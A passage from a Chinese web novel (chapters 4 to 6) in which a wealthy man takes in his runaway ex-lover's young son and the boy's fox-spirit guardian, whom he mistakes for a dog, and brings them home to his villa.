但靳戎现在没心情看漂亮狗。 “你喊它什么?”靳戎问小崽儿。 “小爸爸呀。”小崽儿理所地指着小狐狸给靳戎介绍,肉乎乎的小脸上全是骄傲,“他就是我的小爸爸呀。” 他小爸爸是仙山最漂亮的狐狸,还是一只爪子能变成胳膊的狐狸,可厉害了呢! 他比不上小爸爸,因为他变不成可可爱爱又毛茸茸的小狐狸,哼。 但他是仙山最聪明的狐狸宝宝,早晚有一天也会变成像小爸爸一样漂亮的小狐狸的。 童言稚语,靳戎无语。 小爸爸是一只狗? 胡硕自己知道吗? 靳戎举目四望,捏紧手指,语气阴森:“胡硕呢?” 他已经做好掐死他的准备了。 4. 第 4 章 第4章 桃花林里一朵朵桃花开的正艳,桃林深处有一四处漏风的竹屋,屋外摆满了空奶粉罐,粗粗一看得有二三百。 靳戎迈步走了进去。 竹屋内有一张床,床上有几件小孩儿的衣服,还有很多玩具和图书四处散落。 靳戎随手拿起一件小衣服瞧了瞧,扑鼻而来的是浓郁的奶香味,跟小崽儿身上是一个味道。 这牌子的衣服一件至少几千块,明明又好又舒服的衣服,却偏偏让小崽子穿着打补丁的衣服出去,明显是在利用别人的同情心。 靳戎扔下衣服,又去翻看别的东西。 床上的被褥全是真丝的,与他家床上用品是一样的,柔软透气又舒服。 旁边的架子上一字排开足足二三十个个奶瓶,从小到大应有尽有。 加湿器,恒温箱,小孩儿用到的学步车数一数有十多辆,还有各种衣服帽子鞋袜…… 竹屋从外面看乞丐都不屑住,内里穿的用的全是大牌子奢侈品。 靳戎冷笑一声,这么会享受,一百万竟然能坚持大半年,也算是个奇迹了。 架子后面还有一个熟悉的行李箱,栏杆处挂着一个拼豆挂件,上面是胡硕样貌的卡通小人,他也有一个情侣款,是胡硕亲手拼的送给他的生日礼物。 当时胡硕抱着他的脖子哼哼唧唧说拼这个可辛苦了,给他感动坏了,立刻买了条天然蓝宝石吊坠给他。 胡硕喜欢各种各样的天然宝石,红宝石蓝宝石粉钻蓝钻玉石珍珠玛瑙他都喜欢得不得了,靳戎想要讨他欢心送这些东西从来不会出错。 但胡硕的喜欢却只是一时的,每次收到礼物时恨不得抱着睡觉,但两三天后那些花了大价钱搜罗来的宝石就会被他丢弃在一旁,连看一眼都懒得看。 所以,靳戎只能不停地买买买。 而那些被胡硕随手抛开的宝石都被靳戎收起来放进了保险柜,胡硕跑路时竟然没想到这些东西,只拿了一百万,也不知是精明还是傻。 靳戎越想越憋闷,他奉上一颗真心,却被弃若敝屣,这种感觉实在是糟糕透了。 靳戎在桃花林里里外外找了一遍,除了小崽儿和他那条漂亮狗外,什么都没找到。 “你跟谁住在这里?”靳戎问小崽儿。 “小爸爸呀。”小崽儿坐在那里笨拙地掰了玉米粒喂狐久,抽空偏头猛嘬一口奶瓶里的奶。 “除了你和你的……小爸爸。”反正也不是他儿子,他就是叫猪牛驴马叫爸爸都跟他没关系。 “没有了呀。”小崽儿不会撒谎,实话实说,“只有我和小爸爸。” 不可能。 这肯定就是胡硕的老窝。 “那你平日里吃什么?” “我喝奶,然后捡垃圾喂小爸爸。”小崽儿指指自己面前的篮子,得意洋洋,“你看,这就是我今天捡的玉米,靳戎,你想吃吗?但我得问问小爸爸愿不愿意分你一口呦。” 狐久忙用爪子护住,别问,他不愿意。 小崽儿耸耸肩:“对不起哦,靳戎,你不能吃。” 靳戎:“……” 没有人想吃狗粮。 靳戎拿了手机拨打语音电话,手机在那漂亮狗身子底下响了起来。 靳戎走过去蹲下身去拿,被那狗一巴掌拍在了手背上。 靳戎一愣后抬眼,就看到那双细长的冰蓝色眼睛半眯着,像是对他碰它的东西非常不高兴一样。 靳戎觉得自己一定是疯了,他竟然能从一只狗的眼睛里看到不悦的情绪。 “你不能抢小爸爸的手机。”小崽儿小小的身体护住小小的狐狸,瞪着大长腿爸爸,“靳戎,你这样不礼貌哦。” 靳戎被这对超越物种的父子俩齐齐瞪着,风从桃林刮过,扬起花瓣万千,靳戎微微垂眼,半晌无言。 他今天到底都干了些什么。 他拎了五百万上山,然后见到了胡硕的亲儿子,再然后跟一只狗在这里抢手机。 实在是荒谬至极。 靳戎眼神渐渐清明,他站起身,往后退了一步。 他之前是恋爱脑上头被胡硕给拿捏了,那小骗子最会抓住别人的善良拿捏人心。 对,他就是太过善良了,才会被胡硕骗了一次又一次,而这次更是将他的智商放在地上摩擦。 生物学上的另一个爸爸? 胡硕真是把他当傻子耍啊。 靳戎现在彻底清醒了。 清醒的靳戎盯着抱在一起的小小父子俩,慢慢眯起了眼睛。 “靳戎,你咋了?”小崽儿对情绪的感知非常敏感,他抱着小狐狸往后缩了缩,小小声,“小爸爸,宝宝害怕。” 狐久从小崽儿肉乎乎的胳膊弯里露出两只睿智的眼睛与小崽儿的人类爸爸对视,男人,你想干嘛? 靳戎唇角勾起一抹危险的弧度。 他要让胡硕知道耍了他是要付出代价的。 * 仙山常年雾蒙蒙的,阳光普照时能见度都不太高,更不要说细雨绵绵了。 薛秘书带着保镖在仙人庙外找了几圈都没看到老板和小崽儿,正要打电话时,就看到老板突然从不远处走了过来。 神出鬼没的。 薛秘书走过去,就见靳戎一脸平静。 虽然老板平日里情绪还挺稳定的,但此时绿油油的他不应该这么冷静啊。 薛秘书正犹豫着怎么开口,就看到他身后还坠着个崽儿。 小崽儿跟之前一样,拖拽着他的竹编篮子,小腿来回挪动着试图跟上老板一步一米的步伐。 “老板,找到胡硕了吗?”薛秘书问。 “没有。”靳戎目光犀利地往四周扫视一圈,“他此时应该就藏在某个地方看着我吧。” “那我让何律师多雇些人上来找他。”只要肯花钱,把这座山翻三遍都不在话下,胡硕将藏无可藏。 “不用了。”靳戎摇头,“不找了。 “不找了?”薛秘书震惊,老板被夺舍了吗? 以前的老板哪怕天上下红雨,也绝不会放弃找胡硕的。 而且,胡硕百分之九十的可能就在这里,毕竟他儿子在这儿呢。 此时不搜山更待何时。 “对,不找了。”靳戎瞥了一眼身后那小小的踉跄身影,“他耍了我就要承担后果,所以我刚刚有了一个非常恶毒歹毒狠毒阴毒的法子来教训他。” 恶毒歹毒狠毒阴毒,好多毒。 薛秘书咽了咽唾沫,难道老板要报警让警察通缉他?亦或者找黑.帮势力将他逼得走投无路无法生存?再或者直接买/凶/杀/人,将这个给他带了绿帽子的人彻底从这个世界上抹去? 这确实很恶毒歹毒狠毒阴毒了。 财神爸爸罪不至此啊。 薛秘书不忍心:“老板你……” “我要把胡硕的儿子带回去。”靳戎清锐的眼睛里折射出一股骇人的光芒,声音冷酷至极,“我不止要带他回家,我还要给他上户口姓我的姓氏,不是说是我儿子嘛,那就当我儿子好了,到时即便胡硕跪在地上哭着求我我也不会还给他的。” 靳戎想到那个场景,浑身上下都轻松了:“对骗子最大的惩罚就是让他失去一切。”包括他养的那只漂亮狗,他也要据为己有,让它成为自己的狗。 什么? 薛秘书一脸呆滞,一度以为自己听错了。 老板说什么? 他说他要养胡硕的崽儿??? 这也太歹毒了 吧,胡硕听到怕不是要吓死。 歹毒的老板回头看他,带着审视的目光在他脸上逡巡。 薛秘书面无表情:“老板您确实有些过分了。” 过分? 过分就对了。 不过分怎么让他后悔。 靳戎冷笑一声,大步往山下走去。 还不知将被恶毒阴毒狠毒歹毒对待的天真小人儿拖着他的竹编篮子从薛秘书身边歪歪扭扭跑过,气喘吁吁:“靳戎,你等等宝宝,宝宝跟不上呀。” 靳戎大步往前走,像是没听到一样。 他只是要把胡硕的崽儿和胡硕的狗据为己有,又不是要把他们当祖宗一样伺候,跟不上就努力跟。 小人儿踉踉跄跄追上去小手猛地一抓抓在了笔挺的西装裤上,然后被往前迈的长腿一带,“扑通”一声摔倒在地。 “诶……”薛秘书下意识伸手,走在前面的老板已经快他一步迅速转身蹲下去把小崽儿扶了起来,皱着眉将他从头到脚仔仔细细检查了一番。 “摔哪儿了?” 小崽儿顶着一张天真的漂亮小脸红着眼眶看着靳戎,抽噎了一下鼻子,委委屈屈:“你这个爸爸一点儿都不好,我不喜欢你了啦。” 靳戎莫名有些心虚,像是自己真的做了抛妻弃子的缺德事儿一样。 突然一只白色的身影从篮子里一跃跳到了小崽儿脑袋上,以迅雷不及掩耳之势一爪子拍在了靳戎脸上。 空气瞬间凝滞。 靳戎不敢置信地看着站在小崽儿脑袋上气炸毛的狗。 狐久非常非常生气,冰蓝色的眼睛里全是怒意。 因为没人带,小崽儿学走路时摔过好多次,每摔一次狐久都心疼好久,现在好不容易学会走路不摔跤了,没想到竟然因为亲爸又摔了。 靳戎简直可恶至极。 靳戎很轻易就感受到了这只小爸爸的怒火。 小狗身体小小的,这一爪子倒是不怎么疼,只是…… 靳戎视线落在那只小小的有着粉色肉垫的前爪上,又在脸颊上摸了摸,他刚才总觉得是一只带着凉意的人的手拂过他的脸。 触觉有些熟悉,像是他被那只手抚摸过很多次一样。 一个人单身久了,被狗打一下都像被人摸了…… 靳戎捏住狗的后脖颈把它放进篮子里,然后双手掐住狐绥的两只小胳膊把人腾空抱了起来。 小崽儿是第一次被人抱,还一下子抱这么高,起先有些害怕,双手紧紧搂着靳戎的脖子,整个人都缩到了他怀里,等适应后便兴奋地惊呼起来:“小爸爸,宝宝好高哦。” 这还差不多。 狐久哼哼了一声,再敢对小崽儿不好,他还抽他。 狐久一巴掌耗尽了所有力气,仰倒在篮子里气喘吁吁。 靳戎居高临下看着它,狐久扔了一个“别惹老子”的眼神给他。 这只狗还挺有灵性的。 靳戎伸手拿过薛秘书一直拎在手里的油纸包拆开放进了篮子里。 狐久深吸一口气,眼睛登时闪亮亮,烧鸡,是他的挚爱,烧鸡啊。 他给了靳戎一巴掌,换来一只烧鸡? 这个男人原来喜欢这一套的吗? 狐久实在是太久没有吃过烧鸡了,被香味熏得迷迷糊糊,嗷呜一声就啃了上去,然后满足地哼唧了一声。 靳戎露出了满意的笑容。 看,胡硕的狗跟着他都能吃胡硕最喜欢的烧鸡。 他改变主意了,他以后不止不会漠视胡硕的崽儿和胡硕的狗,他还要把他们养成整个晋城最富贵的崽儿和最富贵的狗。 他要让胡硕只能眼馋的干看着却什么都得不到。 他要让胡硕过得连一只狗都不如。 5. 第 5 章 第5章 狐久坐在竹编篮子里被薛秘书拎下山。 狐久没化形之前便总一直偷偷跑下山玩耍,但他是一只非常漂亮的小狐狸,被人发现后总会追着他跑,所以哪怕狐久很向往人类的世界,却也一直没走出过仙山的范围。 而化形失败后狐久连呼吸都要费尽全力,更不要说跑出来玩儿了,所以他已经大半年没有踏出过桃林了,这对于好玩好动的狐久来说其实是一件备受折磨的事情。 好在有小崽儿在他身边陪着,日子才不至于那么难熬, 此时的小狐狸不仅吃到了烧鸡,还嗅到了自由的空气,看靳戎这个傻子更是顺眼了许多。 之前给靳戎发消息时他其实是有几分忐忑的,毕竟在某狐前辈的手机里有靳戎和某狐前辈的合照,小崽儿长得几乎和某狐前辈一模一样。 靳戎要是不承认这是他儿子可怎么办? 于是狐久精心编造了一套半真半假的话让小崽儿记住,小崽儿聪明,他只教了几遍他就全记住了。 但这还不够严谨,作为仙山最聪明的小狐狸爸爸,他向来深谋远虑,万一这个靳戎是个渣男,不想负责怎么办? 所以他还做了第二手和第三手准备。 第二手准备是纯武力压制,用自己那只天赋异禀的独臂把靳戎揍得他爹妈都不认识,逼渣男养孩子。 第三手准备就是把靳戎留在桃花林当牛做马,进桃花林容易出桃花林可难了,没有人带着,他一辈子也走不出去。 狐久思虑周全,只等靳戎来了后就可以全面实施。 结果嘛,大家有目共睹,靳戎很轻易就相信了小崽儿的那些话,狐久的第二手准备和第三手准备都没用得上。 天才。 狐久自己给自己鼓爪。 他简直就是拿捏人心的天才来着,他的这些谋算用来对付靳戎简直就是大炮轰蚊子,实数浪费。 事实证明,靳戎这种人傻钱多的,他只需要动动小手爪,就能将他玩弄于狐掌之间。 狐久对自己实在是太崇拜了,世界上怎么会有他这么聪明的狐狸。 老天可能也没想到把他生的如此聪慧,所以没办法只能让用他化形失败这种事情来打击他。 但!!! 没关系,他不在意,天才向来就是被嫉妒的。 狐久坐在竹编篮子里扬起高傲的脑袋睥睨一切,之前化形失败被打击到半夜偷偷哭的小狐狸成功骗了靳戎后又有了信心。 以他的天分要想化形简直易如反掌。 亚健康秘书一个踉跄,篮子像过山车一样往前甩了半个弧度又被及时收回来。 狐久与比他大了三倍的烧鸡在篮子里滚作一团,再爬起来时头晕目眩眼冒金星。 好吧,化形这种事情暂时还是不得行的。 他不是不化,他是缓化,慢化,有节奏的化。 但首先,能不能先把这个走路都走不稳严重影响他心态的秘书给开了? 薛秘书将篮子放进后车座,靳戎把小崽儿也放进去,小崽儿弓着身把小狐狸抱在怀里然后兴奋地跪在座椅上到处摸摸:“小爸爸,是大汽车欸,咱们坐上大汽车了。” 跟着坐进来的靳戎把土包子小崽儿按坐在椅子上,给他系上安全带绑住小小的身体。 小崽儿没挣扎,反而因为好奇而更兴奋了,眼睛睁的大大的,忽闪忽闪。 “靳戎,这是什么?” “安全带。” “什么是安全带?”小崽儿又问。 “防止出意外受伤的。” “怎么防止?怎么出意外?怎么受伤?” “……” 靳戎深吸一口气,吐出三个字:“不知道。” “哈?”小崽儿震惊,怎么会这样? 小崽儿抱紧小狐狸,在他耳边嘀嘀咕咕:“小爸爸,靳戎好傻哦,他咋能不知道呢,小包包知道的都比他多。” 狐久拍拍他的小脑袋:“你也知道他傻,那你就让让他呗,你要知道,不是什么人都跟咱们父子俩一样聪明的。” 小崽儿觉得小爸爸说得对,不能歧视傻子,于是摸摸靳戎的胳膊,奶声奶气安抚他:“靳戎你别伤心哦,宝宝以后不问你了。” 狐久也摸摸小崽儿,他家宝儿打小就善良,还知道维护人类脆弱的自尊心。 小崽儿摸出篮子里的手机,对着手机喊:“嗨喽啊,小包包,你能告诉我安全带是什么吗?它为什么要绑着我?” 小崽儿把手机往靳戎那边举起来:“靳戎,快来一起学习啦。”学习可以防止人变成傻子。 手机里传出机械的女声:“安全带是什么?汽车安全带是……” 靳戎:“……” 小崽儿看什么都稀奇,什么都要学习,什么都要问他的小包包,最后学累了,抱着奶瓶歪靠在那里睡着了,还打起了轻轻的小呼噜。 靳戎把安全带解开把他抱到腿上。 “待会儿去给小崽儿买个安全座椅。”靳戎吩咐薛秘书,“回去的路上用得到。” 这超越物种的父子俩无法乘坐飞机和高铁,只能开车回晋城。 狐久也不知道安全带是什么,但刚刚他也学到了,安全座椅一听就很安全,靳戎虽然傻,但对崽儿还不错。 狐久又对傻子靳戎满意了几分,于是迈着他天才的步伐走到靳戎另一条腿上趴下,又在他腿上来回蛄蛹一番找了个舒服的姿势与小崽儿脑袋挨着脑袋闭上了眼睛。 靳戎看着灰色西裤上多出来的油渍,眉头微皱,伸手在狗毛上摸了一把。 漂亮狗的毛蓬松又轻柔,扫过手掌时似乎有什么吸引着他使劲揉搓两把。 靳戎从来没有rua过狗rua过猫rua过任何一个毛茸茸,这是第一次碰这种生物,刚才拎它后脖颈的时候没注意,现在才发现原来毛茸茸摸起来是这种感觉。 很神奇。 rua狗,只有零次和无数次的区别。 这狗已经被他据为己有,以后自然任由他rua。 靳戎便伸手过去将整只小狗覆盖在大掌之下狠狠rua了两把。 虽然rua了一手油,但竟然有种奇怪的满足感。 靳戎拿了湿纸巾过来给他据为己有的狗擦毛。 湿乎乎的东西触碰到毛发,狐久一个激灵睁开眼睛看着男人,小爪子扬了起来,满眼警惕。 靳戎曲起手指在它额头上弹了一下,随口道:“一身油,用这个擦一下,等回去给你洗澡。” 哦。 合理。 狐久便收敛炸起的毛,一歪身子主动躺到了靳戎的大掌中。 他也用湿纸巾给小崽儿擦过身体,小崽儿听话就会容易一些,所以他也听话。 狐久还用两只小爪子交叉捂住隐私部位,这里不能碰哦。 这狗可能真的能听懂人话。 靳戎把它的爪子挪开,一只小公狗,挡什么挡。 擦擦。 狐久:“……” 算了,也不是很重要。 狐久干脆舒展四肢在靳戎手掌里摊平成一张狐饼,擦干净一点哦。 靳戎用了半包湿纸巾擦得很仔细,除了它那漂亮的毛发外,爪子屁屁都没放过,毕竟他待会儿要rua的。 等回去洗澡时最好再消一消毒。 狐久被靳戎举到眼前观察身上还有没有油时,伸出爪子在他脸上拍了拍。 男人,你伺候的不错,赏你一个轻轻的小巴掌。 以后好好伺候,会有重重的奖赏哦。 靳戎攥住他的小爪子,胡硕养的狗跟他一样精明,竟然试图抚摸他的脸来讨好他。 不过确实讨人喜欢,难怪胡硕的崽儿愿意喊一只狗叫爸爸呢。 靳戎忍不住又rua了一下,狐久哼哼唧唧。 薛秘书从后视镜里往后瞧着,只觉得这副场景非常诡异。 老板的腿上躺着胡硕的崽儿,老板的手里捧着胡硕的狗…… 虽然那崽儿很漂亮,但那是胡硕的崽儿啊。 虽然那狗很好rua,但那是胡硕的狗啊。 话说回来,真不能给他rua一下吗? “老板,您确定要把他们带回去?他长得……一模一样……哦。”薛秘书试探着说了句。 也没那么一模一样,七八分相似吧,但只要见过胡硕的人一眼就能看出来这是胡硕如假包换的儿子。 他家老板谈恋爱谈的非常认真,虽然只谈了短短 三个月,但胡硕这个人已经全方位进入了老板的所有社交圈子,老板的朋友还有合作伙伴几乎都认识胡硕。 这里面老板的发小任骁跟胡硕特别聊得来,两人臭味相投……兴趣爱好非常相近,经常约在一起吃喝玩乐,所以胡硕卷钱跑路以后,任骁比老板还受打击,到处嚷嚷着要弄死胡硕,是以圈子里都知道老板被骗的事情。 而现如今老板变得这么恶毒,被项总和任总知道,怕是能笑……叹息一年,再兑兑水叹息个三年也不成问题。 靳戎把狐久放到腿上,又抽了一张湿纸巾慢条斯理地擦干净双手,语气平静:“那又如何,现在都是我的了。” 靳戎伸手捏了捏那张婴儿肥小脸,这比胡硕的脸捏起来舒服多了,胡硕的脸可没有这么多肉能捏,每次被捏都吱哇乱叫。 左手崽儿右手狗,胡硕一无所有,光想想就觉得愉悦。 薛秘书:“……” 老板有这种泰山绿于顶而面不改色的心态,无论做什么都能成功的。 薛秘书在花城租了一辆七座商务,雇了两个司机。 回酒店收拾了一下东西,吃了个简单的午饭后商务车便驶出县城上了回晋城的高速。 靳戎舒服地靠在椅背上,一只手拿着手机处理事情,另一只手无意识地摸着狗毛。 狐久本来觉得趴在他腿上挺舒服,但他总不停摸他,就很烦。 这男人的手是不能独立放着吗? 狐久抖开他的手跳到了小崽儿怀里。 小崽儿窝在安全座椅里一边喝奶一边看动画片,乖得不得了,这个屏幕比手机屏幕大多了,这个动画片他也没看过,特别好看。 小爸爸说的对,仙山外面的世界很精彩,他喜欢。 靳戎眼也没抬,伸手把狗拎了回来。 他的狗,他想怎么摸就怎么摸,没有狗可以拒绝他。 又被摸毛。 狐久眯眯眼,手爪子不想要就给你剁了哦。 不等狐久有所动作,靳戎的手机乍然响起给他吓得狐身一哆嗦。 察觉到手里的狗抖动的那一下,靳戎轻轻拍了拍,还下意识解释了一句:“视频电话。”说完后,自己先无奈了,他竟然在跟一只狗沟通。 狐久看向他的手机。 项琛。 靳戎皱着眉,看着不太情愿,但还是点了接听。 项琛的脸出现在屏幕上,挑染的几根红毛下是一脸谄媚的笑:“亲爱的小弟,我给你发消息,你是没看到吗?” “看到了。”靳戎脸色淡淡,语气也淡淡,“一千万没有,一百万可以。” “画廊诶,一百万能做什么?一千万我都嫌少。” “我要敢给你一千万,你就敢拿着一千万跑路。” 一千万虽然不多,但足够项琛跑出去潇洒几个月了。 这都是经验之谈,他在公司里当牛做马,项琛却只会坑蒙拐骗吃喝玩乐。 所以他现在全面压缩项琛的经济,直到他结婚生子完成人生大事。 “靳戎,你到底知不知道我在咱们家什么地位?”项琛见来软的不行,一秒变脸,“没有我,你就永远不会有自己有,你明白吗?” “呵。”靳戎回给他一声嘲笑。 来硬的也不行,那就来卑微的。 “我错了,亲爱的小弟,求你了,你看在哥哥这么惨的份上,你救济一下我好不好?” 靳戎懒得搭理他,但并没有挂断他的电话,毕竟是哥哥,有些面子还是要给的。 “靳戎,你睁开眼看看哥哥,我不信你两眼空空。” “五百万也行的……” “靳戎,好吵哦,你们可不可以小一点声,宝宝都听不清小兔子宝宝说的话啦。”小崽儿不满地噘嘴控诉。 “什么声音?”项琛耳朵一动,“你在哪儿,我好像听到小孩儿的声音了?你干嘛,你自己搞了个孩子出来?” 确实聒噪。 狐久伸出爪子用粉嘟嘟的肉垫挂断了电话。 不要打扰宝宝看动画片。 靳戎诧异低头,是巧合……吧? 狐久打了个哈欠,并不在意靳戎的神色,靳戎是个傻子,恐怕他出声说话,他都不会多想。 6.第 6 章 第6章 狐久的身体并不允许他这么活泼,今天种种已经透支了他太多精神,他需要睡觉了。 狐久身体虚弱是化形失败造成的,需要大量灵气来滋补,但现在的世界灵气稀薄,根本就不足以弥补狐久消耗的百年修为,吃又吃不了多少,修炼又没有灵气,狐久只能纯靠睡觉来休养。 因为有了小崽儿,狐久睡觉总是会留着一根神经,所以他睡得并不踏实。 七分睡的狐久看着车子停在高速服务区,看着自己和小崽儿被靳戎抱下车,看着薛秘书去给小崽儿买了儿童套餐,但都被小崽儿拒绝了。 “宝宝不要吃,会过敏的。” 靳戎便对薛秘书道:“多买一些,让他挑喜欢吃的。” 薛秘书买了满满一桌子,小崽儿却只抱着奶瓶喝奶,重复那一句:“宝宝会过敏的,靳戎,你可别不信,真的会过敏的呦。” “小孩儿是会撒谎的。”中年司机见两个年轻男人拿小孩儿没办法,很有经验道,“有些小孩儿不爱吃饭就会找很多借口,不用逼他,等他饿了自然会吃的。” 小崽儿听到这话,有些不高兴,撅着小嘴瞪着司机:“小爸爸说宝宝是特殊体质,吃东西就是会过敏,哼,才没有撒谎呢。” 中年司机笑了笑,没再多说。 童言稚语罢了。 哪有人对所有食物都过敏的,那还要不要活了? 靳戎沉吟几秒,算了算时间后对薛秘书道:“给陈医生打电话约时间,明天下午到晋城后先给他查一下过敏原。” “好的,老板。” 中年司机暗暗摇头,这老板竟然相信个小孩子的话,一看就是新手爸爸,草木皆兵。 新手爸爸不仅没有强迫小崽儿吃饭,晚上住酒店时,还亲手给小崽儿洗澡。 靳戎把睡了一路看着不太对劲的狗放到床上,把自动自发脱光光的小崽儿抱去浴室放进盛满温水的浴缸里,正打算给这个“小要饭”的好好洗洗,就看到那漂亮狗闭着眼睛迈着四条腿晃晃悠悠走进来,闭着眼跳上洗手台趴在离小崽儿最近的地方继续睡,仿佛是怕他对小崽儿做出什么不好的事情监督他一样。 惊呆了靳戎。 靳戎伸手轻轻触碰它,呼吸悠长,明明睡得很香,仿佛刚才走进来的动作都是他的错觉。 “它要睡多久?”靳戎问小崽儿。 “小爸爸特别能睡,每天醒着的时间非常少。”小崽儿坐在浴缸里用泡沫揉搓着头发,小手抓啊抓,非常熟练,突然小崽儿动作一停忐忑地看着靳戎,“我小爸爸虽然很能睡,但他吃的少,靳戎你不能丢掉他哦,他很好的。” “没有人要丢掉它,你和它以后都是我的,我会养着你们的。”靳戎把心思从狗身上收回来,“你一直自己洗澡?” 这么小的小孩儿,胡硕都不给他洗的吗? “小爸爸以前会帮宝宝,但宝宝长大了,自己可以洗了。”小爸爸会变出一只胳膊帮他洗,但每次小爸爸都会特别累,好在他是聪明宝宝,很快就学会了自己洗澡澡。 小爸爸? 靳戎自动把这个词带入胡硕,而不是一只巴掌狗。 以前胡硕就有些懒,不喜欢洗头发,但又想耍帅,所以总央求自己给他洗头,现在有了孩子,竟然还不给孩子洗澡,实在是有些荒唐。 “过来。”靳戎朝小崽儿招招手,“我帮你洗。” “真的吗?”小崽儿眼睛一亮,其实自己洗头发总举着胳膊是有些酸酸的。 “当然是真的。” 小崽儿美滋滋靠了过去。 虽然靳戎没给小孩儿洗过澡,但小崽儿实在是乖巧,给他洗澡并不是什么难事。 靳戎不止洗了崽儿,还顺便把那只睡狗也给洗了。 用毛巾擦干后,靳戎把干干净净的两小只都放到床上,然后拿了吹风机过来给父子俩吹。 小崽儿躺在床上舒服地直哼哼:“靳戎,有你可真好啊。” 靳戎唇角忍不住上扬,像是刚刚做成了一笔大生意一样,非常有成就感。 狐久的那根神经懒洋洋睨着靳戎,觉得某狐前辈看男人的眼光着实不错,靳戎这个人看着清清冷冷,对小崽儿却还是很细心的。 恨不相逢未嫁时啊,狐久再次可惜,这是某狐前辈的男人,不能觊觎。 晚上睡觉时,小崽儿自己乖乖喝完奶,又自己去洗手间漱口小便,回来后爬上床抱着狗,窝在小小的角落里不哭也不闹地闭上了眼睛。 实在是太乖了,让靳戎想到一句话,穷人的孩子早当家,胡硕这个爸……算了,那小骗子自己其实也是个孩子。 第二天下午三点多到了晋城,靳戎的司机开了车等在高速路口,接了靳戎后先去了靳家的私立医院给小崽儿做身体检查。 “靳总,要不要顺便做个亲子鉴定呢?”薛秘书对靳戎建议。 他还记得仙山上小崽儿说的话,他说他是胡硕给老板生的崽儿。 虽然很荒谬,但仙山之所以香火鼎盛,不就是因为那里求子得子吗? 所以万一呢? 靳戎看他,眼睛危险地眯了起来。 薛秘书猛然惊醒,要真做了亲子鉴定,结果出来之时便是自己失业之日。 因为这哪儿是亲子鉴定书啊,那明明就是绿帽子鉴定书。 他真是被仙山的香火给熏晕头了。 如果仙山的香火管用,那项总现如今怕是已经怀上了。 薛秘书平静地转开头,当自己没说过刚才的疯话。 过敏原检查需要抽静脉血,然后等待孵育反应,也就是给抗原抗体留出充足的时间结合,不能缩短时间,所以抽完血后靳戎便带着小崽儿离开。 这家私立医院是靳家的产业,里面的很多医生都与靳家人熟识,这其中就包括骨科的梁医生,他是项琛的好朋友。 梁医生做完手术回办公室时,正好看到抱着孩子的靳戎进电梯,转身间,怀里的娃娃露出了漂亮的小脸蛋。 梁医生惊得张大了嘴巴。 缩小版胡硕? 完了,他年纪轻轻就已经瞎眼了吗? * “老板,去哪儿?”到了车上,薛秘书问靳戎。 “郊区的别墅。”靳戎说。 薛秘书松了口气。 郊区的别墅是胡硕当初住的地方。 老板是个工作狂,所以一直住在公司附近的公寓里,公寓面积小一些,只有二百多平,胡硕不喜欢,胡硕喜欢大房子。 所以老板就给他在郊区买了一栋三层大别墅,给他配了专门的管家保姆来照顾他的起居。 别墅远离市区,小崽儿住在那里算是比较隐秘,只要老板不到处去说,就不会有人知道以前住胡硕的地方现如今住进了胡硕的崽儿。 老板终归还是知道避忌一下的。 司机将车停在别墅门口,虽然胡硕走了,但这里的管家和保姆依旧还在领着工资看管着房子,听到车声后迎出来,便看到了大半年没来的老板和……跟胡硕长得一模一样的崽儿。 管家保姆还有司机齐齐震惊脸。 薛秘书现如今已经看习惯了,陈医生刚才也是这副瞪眼张嘴的表情。 给小崽儿做检查时好几次都掉线盯着小崽儿的脸发呆,显然是在怀疑人生。 小崽儿抱着奶瓶害羞地缩在靳戎怀里,只大眼睛转啊转,好奇地看着眼前的大花园还有大房子,他从来没有见过这么漂亮的房子。 “小爸爸,靳戎家好大哦。”小崽儿小声和狐久分享。 “以后就是我们父子俩的家了。”睡醒的狐久坐在小崽儿怀里,同样眼冒星光,这房子里竟然有灵气,虽然有些弱,但的确是灵气。 靳戎抱着他们走进别墅,将小崽儿放到了沙发上,然后走到一旁去听电话。 见老板离开,管家终于找到机会,忙问薛秘书:“这孩子打哪儿来的?” 薛秘书微微一笑,转头问小崽儿:“你跟靳戎是什么关系呢?” 小崽儿坐在沙发上晃着腿,一边转头打量着又大又漂亮的房子,一边熟练背诵刚才背给陈医生听得话:“我是胡硕跟靳戎分手后背着他生下来的崽儿。” “胡硕在生宝宝时大出血死了,宝宝现在属于野孤崽儿,靳戎作为宝宝生物学上的另一位父亲,是要养宝宝的哦。” “现在,你知道宝宝是谁了吗?”小崽儿看着老管家,真诚发问。 “……”老管家充满褶皱的脸上一言难尽,这么拙劣的谎言是骗傻子的吗? “以后他就是我儿子,好好照顾他。”听完电话的靳戎转身走过来对老管家道。 老管家:“……啊?” 老管家不知道靳戎到底什么意思,毕竟按照正常逻辑来说,老板现在应该气疯了才对。 “他住胡硕以前住的……算了,住他旁边的那间卧室吧,你让人收拾一下。”靳戎吩咐管家,“然后再多请几个人回来照顾他们。” “他们?”老管家一愣,“谁们?” 胡硕也回来了? “它。”靳戎指指小崽儿怀里睡了二十多个小时终于睡醒了在小崽儿怀里莫名兴奋地不停扭动的狗。 老管家:“……” “给他们吃最好的,用最好的,要比胡硕吃得好住的好,懂吗?” 老管家:“……懂。” 其实不是很懂,他怀疑老板出去一趟回来后……疯了。 “那准备晚饭吧,今天是他们第一次入住,晚饭要准备的丰盛一些。” “……好。”老管家怀疑人生.jpg。 靳戎满意地抱起小崽儿和狗狗上楼:“走吧,我带你们参观一下你们以后的家。” 狐久终于可以离开沙发,坐在小崽儿怀里双爪交叉,眼睛亮闪闪。 他察觉到的那股灵气就在这栋别墅里面,但太弱了,不知道在何处。 天地间的 灵气分为很多种,修炼最常用的便是月光和自然界山川草木的能量,草木越茂盛,灵气越浓郁,而现如今灵气浓郁之地很难找,在城市里,狐久更是一丝自然界的灵气也感受不到。 还有的便非常难得了,便是灵药和灵石,灵药诸如人参灵芝,而灵石便是从山体地底开采出来的难得的宝石,灵药需要吞服,而灵石需要触碰才能吸收,这些东西现在已经全都被人类占据,他们很难找得到的。 而现在狐久便在靳戎家里嗅到了来自灵石的气味。 虽然很浅淡,但实在美味。 靳戎抱着两小只上楼,突然觉得手背一湿,低头看过去,便看到那只漂亮狗正伸着舌头流哈喇子。 “……”对,它肯定饿了,毕竟睡了二十多个小时没吃饭。 靳戎就近进了书房,把小崽儿放到地上,去洗手间洗手。 书房里东西很多,占据几面墙的放满书的书柜,放着电脑的书桌,还有靠着窗边的茶台,狐久闭上眼睛深吸一口气精准找到了灵气的来源。 “崽儿,那儿,那儿……”狐久没力气,只能伸着爪子指挥小崽儿,“就在那儿。” 墙角处有个很高的铁盒子,那是人类的保险柜,狐久知道。 这里面一定有好东西。 